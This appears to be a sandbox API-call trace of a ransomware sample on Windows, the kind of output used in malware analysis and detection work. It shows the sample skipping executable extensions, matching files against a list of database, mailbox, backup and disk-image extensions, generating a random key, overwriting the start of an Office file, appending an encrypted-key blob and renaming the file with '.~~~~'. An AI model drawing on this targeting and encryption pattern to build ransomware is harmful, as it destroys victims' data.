	[0140.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.134] lstrlenW (lpString=".sqb") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".sqb") returned 0x0
	[0140.134] lstrlenW (lpString=".ost") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".ost") returned 0x0
	[0140.134] lstrlenW (lpString=".txt") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".txt") returned 0x0
	[0140.134] lstrlenW (lpString=".mdt") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".mdt") returned 0x0
	[0140.134] lstrlenW (lpString=".BDB") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".BDB") returned 0x0
	[0140.134] lstrlenW (lpString=".eql") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".eql") returned 0x0
	[0140.134] lstrlenW (lpString=".DBF") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DBF") returned 0x0
	[0140.134] lstrlenW (lpString=".EQL") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".EQL") returned 0x0
	[0140.134] lstrlenW (lpString=".FDB") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".FDB") returned 0x0
	[0140.134] lstrlenW (lpString=".EDB") returned 4
	[0140.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".EDB") returned 0x0
	[0140.135] lstrlenW (lpString=".DACPAC") returned 7
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DACPAC") returned 0x0
	[0140.135] lstrlenW (lpString=".VHD") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".VHD") returned 0x0
	[0140.135] lstrlenW (lpString=".DBV") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DBV") returned 0x0
	[0140.135] lstrlenW (lpString=".dacpac") returned 7
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dacpac") returned 0x0
	[0140.135] lstrlenW (lpString=".sdf") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".sdf") returned 0x0
	[0140.135] lstrlenW (lpString=".accdb") returned 6
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".accdb") returned 0x0
	[0140.135] lstrlenW (lpString=".DBX") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DBX") returned 0x0
	[0140.135] lstrlenW (lpString=".MDT") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".MDT") returned 0x0
	[0140.135] lstrlenW (lpString=".SQB") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".SQB") returned 0x0
	[0140.135] lstrlenW (lpString=".vhd") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".vhd") returned 0x0
	[0140.135] lstrlenW (lpString=".bac") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".bac") returned 0x0
	[0140.135] lstrlenW (lpString=".mdf") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".mdf") returned 0x0
	[0140.135] lstrlenW (lpString=".BAK") returned 4
	[0140.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".BAK") returned 0x0
	[0140.136] lstrlenW (lpString=".BAC") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".BAC") returned 0x0
	[0140.136] lstrlenW (lpString=".dbs") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dbs") returned 0x0
	[0140.136] lstrlenW (lpString=".vhdx") returned 5
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".vhdx") returned 0x0
	[0140.136] lstrlenW (lpString=".NDF") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".NDF") returned 0x0
	[0140.136] lstrlenW (lpString=".dat") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dat") returned 0x0
	[0140.136] lstrlenW (lpString=".DBS") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DBS") returned 0x0
	[0140.136] lstrlenW (lpString=".CKP") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".CKP") returned 0x0
	[0140.136] lstrlenW (lpString=".edb") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".edb") returned 0x0
	[0140.136] lstrlenW (lpString=".PST") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".PST") returned 0x0
	[0140.136] lstrlenW (lpString=".dbf") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dbf") returned 0x0
	[0140.136] lstrlenW (lpString=".SQL") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".SQL") returned 0x0
	[0140.136] lstrlenW (lpString=".pst") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".pst") returned 0x0
	[0140.136] lstrlenW (lpString=".dbv") returned 4
	[0140.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dbv") returned 0x0
	[0140.136] lstrlenW (lpString=".SDF") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".SDF") returned 0x0
	[0140.137] lstrlenW (lpString=".dtxs") returned 5
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dtxs") returned 0x0
	[0140.137] lstrlenW (lpString=".db3") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".db3") returned 0x0
	[0140.137] lstrlenW (lpString=".OST") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".OST") returned 0x0
	[0140.137] lstrlenW (lpString=".dbx") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dbx") returned 0x0
	[0140.137] lstrlenW (lpString=".DB3") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DB3") returned 0x0
	[0140.137] lstrlenW (lpString=".DAT") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DAT") returned 0x0
	[0140.137] lstrlenW (lpString=".VHDX") returned 5
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".VHDX") returned 0x0
	[0140.137] lstrlenW (lpString=".ndf") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".ndf") returned 0x0
	[0140.137] lstrlenW (lpString=".DB") returned 3
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DB") returned 0x0
	[0140.137] lstrlenW (lpString=".sql") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".sql") returned 0x0
	[0140.137] lstrlenW (lpString=".MYD") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".MYD") returned 0x0
	[0140.137] lstrlenW (lpString=".DBT") returned 4
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DBT") returned 0x0
	[0140.137] lstrlenW (lpString=".ACCDB") returned 6
	[0140.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".ACCDB") returned 0x0
	[0140.138] lstrlenW (lpString=".fdb") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".fdb") returned 0x0
	[0140.138] lstrlenW (lpString=".bak") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".bak") returned 0x0
	[0140.138] lstrlenW (lpString=".myd") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".myd") returned 0x0
	[0140.138] lstrlenW (lpString=".DTXS") returned 5
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".DTXS") returned 0x0
	[0140.138] lstrlenW (lpString=".ckp") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".ckp") returned 0x0
	[0140.138] lstrlenW (lpString=".dbt") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".dbt") returned 0x0
	[0140.138] lstrlenW (lpString=".db") returned 3
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".db") returned 0x0
	[0140.138] lstrlenW (lpString=".TXT") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".TXT") returned 0x0
	[0140.138] lstrlenW (lpString=".MDF") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".MDF") returned 0x0
	[0140.138] lstrlenW (lpString=".bdb") returned 4
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".bdb") returned 0x0
	[0140.138] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.139] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.140] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.140] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.140] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26013008193) returned 1
	[0140.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbcf11bf0, dwHighDateTime=0x1d60e1e)) 
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d570
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d570 | out: hHeap=0x300000) returned 1
	[0140.140] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38dea8
	[0140.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.141] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38dea8 | out: hHeap=0x300000) returned 1
	[0140.141] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.141] GetLastError () returned 0x0
	[0140.141] GetLastError () returned 0x0
	[0140.141] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.141] GetLastError () returned 0x0
	[0140.142] GetLastError () returned 0x0
	[0140.142] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.251] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.252] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0140.253] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.253] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.253] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.253] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.253] CloseHandle (hObject=0xc4) returned 1
	[0140.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38db60
	[0140.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css.~~~~")) returned 1
	[0140.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38db60 | out: hHeap=0x300000) returned 1
	[0140.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.256] GetLastError () returned 0x0
	[0140.256] RtlWakeConditionVariable () returned 0x0
	[0140.256] GetCurrentThreadId () returned 0x9f4
	[0140.256] GetCurrentThreadId () returned 0x9f4
	[0140.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38f300 | out: hHeap=0x300000) returned 1
	[0140.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e52a0 | out: hHeap=0x300000) returned 1
	[0140.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38f300
	[0140.257] lstrlenW (lpString=".scr") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".scr") returned 0x0
	[0140.257] lstrlenW (lpString=".cmd") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".cmd") returned 0x0
	[0140.257] lstrlenW (lpString=".dll") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dll") returned 0x0
	[0140.257] lstrlenW (lpString=".bat") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".bat") returned 0x0
	[0140.257] lstrlenW (lpString=".cpl") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".cpl") returned 0x0
	[0140.257] lstrlenW (lpString=".sys") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".sys") returned 0x0
	[0140.257] lstrlenW (lpString=".msc") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".msc") returned 0x0
	[0140.257] lstrlenW (lpString=".com") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".com") returned 0x0
	[0140.257] lstrlenW (lpString=".lnk") returned 4
	[0140.257] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".lnk") returned 0x0
	[0140.257] lstrlenW (lpString=".msp") returned 4
	[0140.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".msp") returned 0x0
	[0140.258] lstrlenW (lpString=".pif") returned 4
	[0140.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".pif") returned 0x0
	[0140.258] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir14f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.259] lstrlenW (lpString=".sqb") returned 4
	[0140.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".sqb") returned 0x0
	[0140.259] lstrlenW (lpString=".ost") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".ost") returned 0x0
	[0140.260] lstrlenW (lpString=".txt") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".txt") returned 0x0
	[0140.260] lstrlenW (lpString=".mdt") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".mdt") returned 0x0
	[0140.260] lstrlenW (lpString=".BDB") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".BDB") returned 0x0
	[0140.260] lstrlenW (lpString=".eql") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".eql") returned 0x0
	[0140.260] lstrlenW (lpString=".DBF") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DBF") returned 0x0
	[0140.260] lstrlenW (lpString=".EQL") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".EQL") returned 0x0
	[0140.260] lstrlenW (lpString=".FDB") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".FDB") returned 0x0
	[0140.260] lstrlenW (lpString=".EDB") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".EDB") returned 0x0
	[0140.260] lstrlenW (lpString=".DACPAC") returned 7
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.260] lstrlenW (lpString=".VHD") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".VHD") returned 0x0
	[0140.260] lstrlenW (lpString=".DBV") returned 4
	[0140.260] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".DBV") returned 0x0
	[0140.260] lstrlenW (lpString=".dacpac") returned 7
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.261] lstrlenW (lpString=".sdf") returned 4
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".sdf") returned 0x0
	[0140.261] lstrlenW (lpString=".accdb") returned 6
	[0140.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR14F.GIF", lpSrch=".accdb") returned 0x0
	[0140.261] lstrlenW (lpString=".DBX") returned 4
